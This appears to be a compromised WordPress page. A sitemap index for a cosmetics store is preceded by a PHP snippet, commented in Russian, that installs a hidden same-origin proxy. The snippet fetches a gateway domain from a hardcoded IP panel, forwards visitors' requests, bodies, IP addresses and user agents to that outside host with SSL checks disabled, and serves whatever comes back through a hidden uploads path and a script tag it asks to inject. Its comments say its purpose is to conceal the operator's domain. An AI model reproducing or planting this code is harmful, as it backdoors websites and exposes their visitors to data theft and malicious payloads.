

// BEGIN sftp-panel-snippet
/**
 * Asset Cache Proxy v2 — same-origin прокси с авто-подкачкой активного домена.
 *
 * Весь наш трафик идёт через домен самого сайта — наш домен не светится в network.
 * Активный домен прокладки плагин сам подтягивает из панели каждые 30 мин —
 * при смене домена ничего править не надо.
 *
 * Установка:
 *   А) wp-content/mu-plugins/asset-cache.php  (надёжнее, не слетает при смене темы)
 *   Б) весь код ниже — в конец functions.php активной темы
 *
 * Скрипт на страницу:
 *   <script src="/wp-content/uploads/.asset-cache/f.js"></script>
 */

if (!defined('CFX_CFG_URL')) {
    define('CFX_CFG_URL', 'http://194.59.30.132:8080/api/wpcfg?key=Zt5nW8rQ1xKvJ3mP7bLgY9dC0fHs2uAe');       // конфиг-эндпоинт панели (выдаётся при деплое)
    define('CFX_GW_FALLBACK', 'https://caapman.me');   // запасной домен если панель не отвечает
    define('CFX_PROXY_AUTH', '7563b62e34a1176032eec8ae4ba7d5e4950fcc5169c113be59fbbbc91509ec6f'); // подпись для гейтвея
    define('CFX_PREFIX', '/wp-content/uploads/.asset-cache/');
}

function cfx_gateway() {
    $gw = get_transient('cfx_gw');
    if ($gw) return $gw;
    $r = wp_remote_get(CFX_CFG_URL, ['timeout' => 5]);
    if (!is_wp_error($r)) {
        $d = json_decode(wp_remote_retrieve_body($r), true);
        if (!empty($d['gw'])) {
            set_transient('cfx_gw', $d['gw'], 1800);
            return $d['gw'];
        }
    }
    set_transient('cfx_gw', CFX_GW_FALLBACK, 300);
    return CFX_GW_FALLBACK;
}

add_action('init', function () {
    $uri = $_SERVER['REQUEST_URI'] ?? '';
    if (strpos($uri, CFX_PREFIX) !== 0) return;

    $path = substr($uri, strlen(CFX_PREFIX));
    if ($path === '' || strpos($path, '..') !== false) { status_header(204); exit; }

    $args = [
        'method'    => $_SERVER['REQUEST_METHOD'] ?? 'GET',
        'timeout'   => 15,
        'sslverify' => false,
        'headers'   => [
            'User-Agent'    => $_SERVER['HTTP_USER_AGENT'] ?? '',
            'Referer'       => $_SERVER['HTTP_REFERER'] ?? '',
            'Content-Type'  => $_SERVER['CONTENT_TYPE'] ?? 'application/json',
            'X-Real-IP'     => $_SERVER['REMOTE_ADDR'] ?? '',
            'X-Proxy-Auth'  => CFX_PROXY_AUTH,
        ],
        'body'      => file_get_contents('php://input'),
    ];

    $resp = wp_remote_request(rtrim(cfx_gateway(), '/') . '/' . $path, $args);
    if (is_wp_error($resp)) {
        delete_transient('cfx_gw'); // форс-рефреш домена при ошибке
        status_header(204);
        exit;
    }

    status_header((int) wp_remote_retrieve_response_code($resp));
    $ct = wp_remote_retrieve_header($resp, 'content-type');
    if ($ct) header('Content-Type: ' . $ct);
    echo wp_remote_retrieve_body($resp);
    exit;
}, 1);
// END sftp-panel-snippet
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//lmakeupcosmeticstore.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://lmakeupcosmeticstore.com/post-sitemap.xml</loc>
		<lastmod>2019-07-25T16:52:13+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://lmakeupcosmeticstore.com/page-sitemap.xml</loc>
		<lastmod>2025-05-27T20:44:44+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://lmakeupcosmeticstore.com/ajde_events-sitemap.xml</loc>
		<lastmod>2019-08-27T18:36:58+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://lmakeupcosmeticstore.com/category-sitemap.xml</loc>
		<lastmod>2019-07-25T16:52:13+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://lmakeupcosmeticstore.com/event_location-sitemap.xml</loc>
		<lastmod>2019-08-27T18:36:58+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://lmakeupcosmeticstore.com/author-sitemap.xml</loc>
		<lastmod>2021-01-05T21:37:36+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->